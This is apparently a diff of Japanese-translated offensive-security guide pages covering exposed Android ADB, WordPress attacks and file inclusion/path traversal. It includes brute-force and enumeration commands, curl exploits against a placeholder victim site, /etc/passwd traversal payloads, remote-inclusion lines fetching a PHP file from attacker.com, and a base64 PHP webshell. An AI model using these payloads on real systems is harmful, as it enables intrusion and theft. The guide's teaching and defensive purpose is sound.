攻撃的な含意:デバイスのUIと対話できる場合(例:物理的アクセスまたはモバイルMDMの誤設定)にワイヤレスデバッグを有効にし、ペアリングコードを表示できると、ケーブルなしで長期間のペアADBチャネルを確立できます。一部のOEMは、ペアリングなしでエンジニアリング/開発イメージでTCP経由のADBを公開しています—常に確認してください。
|
||||
|
||||
@ -123,8 +123,8 @@ adb connect <device_ip>:<conn_port>
|
||||
|
||||
防御者は、到達可能なadbd(TCP)が重大なリスクであると仮定すべきです。
|
||||
|
||||
- 不要な場合はADBとワイヤレスデバッグを無効にしてください。開発者オプションでUSBデバッグの承認を取り消してください。
|
||||
- 信頼できないセグメントでのTCP/5555の受信およびmDNSベースのADB発見をブロックするネットワークポリシーを確保してください。
|
||||
- 不要な場合はADBとワイヤレスデバッグを無効にしてください。開発者オプションでUSBデバッグの認証を取り消してください。
|
||||
- 信頼できないセグメントでのTCP/5555の受信とmDNSベースのADB発見をブロックするネットワークポリシーを確保してください。
|
||||
- あなたの管理下にあるデバイスで:
|
||||
```bash
|
||||
settings put global adb_enabled 0
|
||||
@ -132,7 +132,7 @@ setprop service.adb.tcp.port -1 # TCPリスニングを無効にする(ま
|
||||
stop adbd; start adbd # デーモンを再起動
|
||||
```
|
||||
- 企業ネットワークでのmDNSレコード `_adb._tcp`、`_adb-tls-connect._tcp`、`_adb-tls-pairing._tcp` を監視し、予期しない5555リスナーに対してアラートを出してください。
|
||||
- 安全でないビルドのインベントリ: `getprop ro.debuggable`、`ro.build.type`、および `ro.adb.secure`。
|
||||
- 不安全なビルドのインベントリ: `getprop ro.debuggable`、`ro.build.type`、および `ro.adb.secure`。
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -12,7 +12,7 @@
|
||||
- **wp-config.php**にはデータベースのルートパスワードが含まれています。
|
||||
- 確認するためのデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **主なWordPressファイル**
|
||||
### **主要なWordPressファイル**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt`には、インストールされているWordPressのバージョンなどの有用な情報が含まれています。
|
||||
@ -23,7 +23,7 @@
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php`は、HTTPを輸送メカニズム、XMLをエンコーディングメカニズムとして使用してデータを送信するWordPressの機能を表すファイルです。このタイプの通信は、WordPressの[REST API](https://developer.wordpress.org/rest-api/reference)に置き換えられました。
|
||||
- `wp-content`フォルダは、プラグインとテーマが保存される主なディレクトリです。
|
||||
- `wp-content`フォルダは、プラグインとテーマが保存される主要なディレクトリです。
|
||||
- `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。
|
||||
- `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。
|
||||
- `wp-sitemap.xml`は、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開クエリ可能な投稿タイプおよび分類法を含むサイトマップXMLファイルを生成します。
|
||||
@ -79,7 +79,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### プラグインとテーマ
|
||||
|
||||
すべてのプラグインとテーマを見つけることはできないでしょう。それらをすべて発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。
|
||||
すべてのプラグインとテーマを見つけることはおそらくできません。それらをすべて発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。
|
||||
|
||||
### ユーザー
|
||||
|
||||
@ -93,7 +93,7 @@ curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
ユーザーに関する情報を明らかにする別の `/wp-json/` エンドポイントは次のとおりです:
|
||||
別の `/wp-json/` エンドポイントで、ユーザーに関する情報を明らかにすることができるのは次の通りです:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
@ -101,7 +101,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
また、**/wp-json/wp/v2/pages** はIPアドレスを漏洩する可能性があります。
|
||||
|
||||
- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**指定されたユーザー名が存在するかどうか**で**異なります**。
|
||||
- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**ユーザー名が存在するかどうか**によって**異なります**。
|
||||
|
||||
### XML-RPC
|
||||
|
||||
@ -130,7 +130,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
メッセージ _"Incorrect username or password"_ は、資格情報が無効な場合に200コードのレスポンス内に表示されるべきです。
|
||||
メッセージ _"不正なユーザー名またはパスワード"_ は、資格情報が無効な場合に200コードのレスポンス内に表示されるべきです。
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
@ -166,13 +166,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
また、**`system.multicall`**を使用して、同じリクエストで複数の資格情報を試すことで、資格情報をブルートフォースする**より速い方法**があります。
|
||||
また、**`system.multicall`**を使用して、同じリクエストで複数の資格情報を試すことで、資格情報をブルートフォースする**より速い方法**があります:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2FAのバイパス**
|
||||
|
||||
この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできる可能性があります**。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。
|
||||
この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできるかもしれません**。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。
|
||||
|
||||
**DDoSまたはポートスキャン**
|
||||
|
||||
@ -189,7 +189,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
**faultCode**の値が**0**(17)より**大きい**場合、ポートが開いていることを意味します。
|
||||
**faultCode**の値が**0**より**大きい**(17)の場合、ポートが開いていることを意味します。
|
||||
|
||||
このメソッドを悪用してDDoSを引き起こす方法を学ぶには、前のセクションでの**`system.multicall`**の使用を確認してください。
|
||||
|
||||
@ -235,20 +235,20 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## ビットを上書きしてアクセスを取得する
|
||||
## ビットを上書きしてアクセスを得る
|
||||
|
||||
実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができます。
|
||||
実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができました。
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **パネル RCE**
|
||||
|
||||
**使用しているテーマのphpを変更する(管理者の資格情報が必要)**
|
||||
**使用しているテーマの php を変更する(管理者の資格情報が必要)**
|
||||
|
||||
外観 → テーマエディタ → 404 テンプレート(右側)
|
||||
|
||||
phpシェルの内容に変更します:
|
||||
php シェルの内容に変更します:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -301,9 +301,9 @@ to get a session.
|
||||
- ダウンロードしたプラグインの zip ファイルをアップロードします。
|
||||
3. **プラグインの有効化**: プラグインが正常にインストールされたら、ダッシュボードを通じて有効化する必要があります。
|
||||
4. **悪用**:
|
||||
- "reflex-gallery" プラグインがインストールされ、有効化されると、脆弱性が知られているため悪用できます。
|
||||
- Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メータープリタセッションを確立し、サイトへの不正アクセスを許可します。
|
||||
- これは WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことに注意してください。
|
||||
- "reflex-gallery" プラグインがインストールされ、有効化されている場合、脆弱性が知られているため悪用できます。
|
||||
- Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メーターpreter セッションを確立し、サイトへの不正アクセスを許可します。
|
||||
- これは WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことが記載されています。
|
||||
|
||||
コンテンツには、プラグインのインストールと有効化のための WordPress ダッシュボードでの手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法で非倫理的であることに注意が必要です。この情報は責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです。
|
||||
|
||||
@ -313,7 +313,7 @@ to get a session.
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、**クロスサイトスクリプティング (XSS)** 脆弱性を **リモートコード実行 (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **WordPress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:**
|
||||
- _**権限昇格:**_ WordPress にユーザーを作成します。
|
||||
- _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ カスタムプラグイン (バックドア) を WordPress にアップロードします。
|
||||
- _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ WordPress にカスタムプラグイン (バックドア) をアップロードします。
|
||||
- _**(RCE) ビルトインプラグイン編集:**_ WordPress のビルトインプラグインを編集します。
|
||||
- _**(RCE) ビルトインテーマ編集:**_ WordPress のビルトインテーマを編集します。
|
||||
- _**(カスタム) カスタムエクスプロイト:**_ サードパーティの WordPress プラグイン/テーマ用のカスタムエクスプロイト。
|
||||
@ -336,7 +336,7 @@ Wordpressプラグインが機能をどのように公開するかを知るこ
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
プラグインが機能をユーザーに公開する方法の一つは、AJAXハンドラーを介することです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された**任意のユーザーが持っている可能性のある**Wordpress nonceの存在に基づいて認証と認可を行うことがよくあります(役割に関係なく)。
|
||||
プラグインが機能をユーザーに公開する方法の一つは、AJAXハンドラーを介することです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された**任意のユーザーが持っている可能性のある**Wordpress nonceの存在に基づいて、認証と認可の両方を行うことがよくあります(役割に関係なく)。
|
||||
|
||||
これらは、プラグイン内で関数を公開するために使用できる関数です:
|
||||
```php
|
||||
@ -346,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**`nopriv`の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)にアクセス可能になります。**
|
||||
|
||||
> [!CAUTION]
|
||||
> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数は通常、ユーザーがログインしているかどうかを確認するだけで、ユーザーの役割を確認することはありません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。
|
||||
> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数は通常、ユーザーがログインしているかどうかを確認しているだけで、ユーザーの役割を確認しているわけではありません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -362,15 +362,15 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
`permission_callback` は、特定のユーザーがAPIメソッドを呼び出す権限があるかどうかを確認するためのコールバック関数です。
|
||||
|
||||
**ビルトインの `__return_true` 関数が使用されると、ユーザー権限のチェックは単にスキップされます。**
|
||||
**組み込みの `__return_true` 関数が使用されると、ユーザー権限のチェックは単にスキップされます。**
|
||||
|
||||
- **PHPファイルへの直接アクセス**
|
||||
|
||||
もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、どのユーザーでも悪用可能になります。
|
||||
もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、任意のユーザーによって悪用される可能性があります。
|
||||
|
||||
### wp_ajax_noprivを介した認証されていない任意のファイル削除 (Lithoテーマ <= 3.0)
|
||||
|
||||
WordPressのテーマやプラグインは、頻繁に `wp_ajax_` および `wp_ajax_nopriv_` フックを介してAJAXハンドラーを公開します。**_nopriv_** バリアントが使用されると、**コールバックは認証されていない訪問者によって到達可能になります**。したがって、任意の敏感なアクションは追加で以下を実装する必要があります:
|
||||
WordPressのテーマやプラグインは、しばしば `wp_ajax_` および `wp_ajax_nopriv_` フックを通じてAJAXハンドラーを公開します。**_nopriv_** バリアントが使用されると、**コールバックは認証されていない訪問者によって到達可能になります**。したがって、任意の敏感なアクションは追加で以下を実装する必要があります:
|
||||
|
||||
1. **権限チェック**(例:`current_user_can()` または少なくとも `is_user_logged_in()`)、および
|
||||
2. **CSRFノンス**を `check_ajax_referer()` / `wp_verify_nonce()` で検証し、そして
|
||||
@ -413,13 +413,13 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
|
||||
他の影響力のあるターゲットには、プラグイン/テーマの `.php` ファイル(セキュリティプラグインを破るため)や `.htaccess` ルールが含まれます。
|
||||
|
||||
#### 検出チェックリスト
|
||||
#### Detection checklist
|
||||
|
||||
* ファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出す `add_action( 'wp_ajax_nopriv_...')` コールバック。
|
||||
* `add_action( 'wp_ajax_nopriv_...')` コールバックでファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出すもの。
|
||||
* パスへの未サニタイズのユーザー入力の連結(`$_POST`, `$_GET`, `$_REQUEST` を探す)。
|
||||
* `check_ajax_referer()` および `current_user_can()`/`is_user_logged_in()` の不在。
|
||||
|
||||
#### ハードニング
|
||||
#### Hardening
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -463,10 +463,10 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
なぜ悪用可能なのか
|
||||
なぜ脆弱性があるのか
|
||||
|
||||
- サーバーサイドの認証なしに `$_REQUEST['reset-for']` とプラグインオプションを信頼している。
|
||||
- ユーザーが以前に `_asenha_view_admin_as_original_roles` に保存された高い権限を持っていてダウングレードされた場合、リセットパスを叩くことでそれを復元できる。
|
||||
- ユーザーが以前に `_asenha_view_admin_as_original_roles` に保存された高い権限を持っていて、ダウングレードされた場合、リセットパスを叩くことでそれを復元できる。
|
||||
- 一部のデプロイメントでは、認証された任意のユーザーが `viewing_admin_as_role_are` にまだ存在する別のユーザー名のリセットをトリガーできる(認可の破損)。
|
||||
|
||||
攻撃の前提条件
|
||||
@ -512,7 +512,7 @@ delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
|
||||
### 定期的な更新
|
||||
|
||||
WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることも確認してください。
|
||||
WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることも確認してください:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -536,7 +536,7 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
|
||||
### 不十分な検証による認証されていないSQLインジェクション (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portalリクルートプラグインは、最終的に`modules/category/model.php::validateFormData()`内で次の脆弱なコードを実行する**savecategory**タスクを公開しました:
|
||||
WP Job Portalリクルートメントプラグインは、最終的に`modules/category/model.php::validateFormData()`内で次の脆弱なコードを実行する**savecategory**タスクを公開しました:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -576,9 +576,9 @@ $file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` は攻撃者が制御可能で、**サニタイズなし**で連結されます。再度、唯一のゲートは、履歴ページから取得できる **CSRF nonce** です。
|
||||
`$file_name` は攻撃者が制御可能で、**サニタイズなし**で連結されます。再度、唯一のゲートは、履歴ページから取得できる**CSRFノンス**です。
|
||||
|
||||
#### 攻撃
|
||||
#### 悪用
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
|
@ -1,10 +1,10 @@
|
||||
# ファイルインクルージョン/パス横断
|
||||
# ファイルインクルージョン/パストラバーサル
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## ファイルインクルージョン
|
||||
|
||||
**リモートファイルインクルージョン (RFI):** ファイルはリモートサーバーから読み込まれます (最良: コードを書いてサーバーがそれを実行します)。PHPでは、これは**デフォルトで無効**です (**allow_url_include**)。\
|
||||
**リモートファイルインクルージョン (RFI):** ファイルはリモートサーバーから読み込まれます(最良: コードを書いてサーバーがそれを実行します)。PHPでは、これはデフォルトで**無効**です(**allow_url_include**)。\
|
||||
**ローカルファイルインクルージョン (LFI):** サーバーはローカルファイルを読み込みます。
|
||||
|
||||
脆弱性は、ユーザーがサーバーによって読み込まれるファイルを何らかの方法で制御できるときに発生します。
|
||||
@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**複数の*nix LFIリストを混ぜて、さらにパスを追加してこれを作成しました:**
|
||||
**複数の*nix LFIリストを混ぜて、さらにパスを追加してこれを作成しました:**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
@ -28,11 +28,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
`/`を`\`に変更してみてください。\
|
||||
`../../../../../`を追加してみてください。
|
||||
|
||||
ファイル/etc/passwordを見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)で見つけることができます。
|
||||
ファイル/etc/passwordを見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)にあります。
|
||||
|
||||
### **Windows**
|
||||
|
||||
異なるワードリストのマージ:
|
||||
異なるワードリストのマージ:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
@ -41,7 +41,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
`/`を`\`に変更してみてください。\
|
||||
`C:/`を削除して`../../../../../`を追加してみてください。
|
||||
|
||||
ファイル/boot.iniを見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)で見つけることができます。
|
||||
ファイル/boot.iniを見つけるためにいくつかの技術を使用したリスト(脆弱性が存在するか確認するため)は[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)にあります。
|
||||
|
||||
### **OS X**
|
||||
|
||||
@ -49,7 +49,7 @@ LinuxのLFIリストを確認してください。
|
||||
|
||||
## 基本的なLFIとバイパス
|
||||
|
||||
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(ページ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/>))。
|
||||
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(ページ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/))。
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **ヌルバイト (%00)**
|
||||
|
||||
提供された文字列の末尾に文字を追加するのをバイパスします(バイパス: $\_GET\['param']."php")
|
||||
提供された文字列の末尾にさらに文字を追加するのをバイパスします(バイパス: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -84,7 +84,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### サーバー上のファイルシステムディレクトリの探索
|
||||
|
||||
サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスには、ディレクトリの深さを決定し、特定のフォルダの存在を探ることが含まれます。以下は、これを達成するための詳細な方法です:
|
||||
サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスは、ディレクトリの深さを決定し、特定のフォルダの存在を探ることを含みます。以下は、これを達成するための詳細な方法です:
|
||||
|
||||
1. **ディレクトリの深さを決定する:** 現在のディレクトリの深さを確認するために、`/etc/passwd`ファイルを正常に取得します(サーバーがLinuxベースの場合に適用)。例として、深さが3であることを示すURLは次のように構成されるかもしれません:
|
||||
```bash
|
||||
@ -105,12 +105,12 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **パストランケーション技術**
|
||||
|
||||
パストランケーションは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することで、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
|
||||
Path truncationは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することで、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
|
||||
|
||||
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば:
|
||||
|
||||
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`、および`/etc/passwd/`はすべて同じパスとして扱われます。
|
||||
- 最後の6文字が`passwd`の場合、`/`を追加しても(`passwd/`にする)ターゲットファイルは変わりません。
|
||||
- 最後の6文字が`passwd`の場合、`/`を追加しても(`passwd/`にすること)、ターゲットファイルは変更されません。
|
||||
- 同様に、ファイルパスに`.php`を追加した場合(`shellcode.php`のように)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
|
||||
|
||||
提供された例は、パストランケーションを利用して、機密情報(ユーザーアカウント情報)を含む一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています:
|
||||
@ -126,10 +126,10 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの設定によって異なる場合があります。
|
||||
|
||||
- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`)を追加のドットセグメントや文字と組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
|
||||
- **必要なトラバーサルの数の特定**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(例えば`.php`)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。
|
||||
- **偽のディレクトリから始める**: 存在しないディレクトリ(例えば`a/`)でパスを始めるのは一般的な慣行です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
|
||||
- **必要なトラバーサルの数の特定**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができます。これにより、追加された文字列(`.php`など)が無効化されますが、目的のパス(`/etc/passwd`)はそのまま保持されます。
|
||||
- **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な手法です。この技術は、予防措置として使用されるか、サーバーのパス解析ロジックの要件を満たすために使用されます。
|
||||
|
||||
パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
|
||||
パストランケーション技術を使用する際は、サーバーのパス解析の動作とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
|
||||
|
||||
**この脆弱性はPHP 5.3で修正されました。**
|
||||
|
||||
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## リモートファイルインクルージョン
|
||||
|
||||
In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE:
|
||||
phpでは、これはデフォルトで無効になっています。なぜなら**`allow_url_include`**が**オフ**だからです。これが**オン**でなければ機能せず、その場合、サーバーからPHPファイルをインクルードしてRCEを取得することができます。
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -153,7 +153,7 @@ http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、文字列はそれで終わり、その後の b64 デコードではその部分がただのゴミを返し、実際の PHP コードが含まれ(したがって、実行されます)。
|
||||
> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、その文字列はそれで終わり、b64 デコードの後、その部分はただのゴミを返し、実際の PHP コードが含まれ(したがって、実行されます)。
|
||||
|
||||
別の例は **`php://` プロトコルを使用しない** ものです:
|
||||
```
|
||||
@ -171,13 +171,13 @@ os.path.join(os.getcwd(), "public", file_name)
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
意図された動作は、[ドキュメント](https://docs.python.org/3.10/library/os.path.html#os.path.join)によると次の通りです:
|
||||
これは[ドキュメント](https://docs.python.org/3.10/library/os.path.html#os.path.join)に従った意図された動作です:
|
||||
|
||||
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、絶対パスコンポーネントから結合が続行されます。
|
||||
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
|
||||
|
||||
## Java ディレクトリのリスト
|
||||
|
||||
Javaでパストラバーサルがある場合、**ファイルではなくディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限り)。
|
||||
Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限りでは)。
|
||||
|
||||
## トップ25パラメータ
|
||||
|
||||
@ -220,7 +220,7 @@ PHPフィルターは、データが読み込まれる前または書き込ま
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
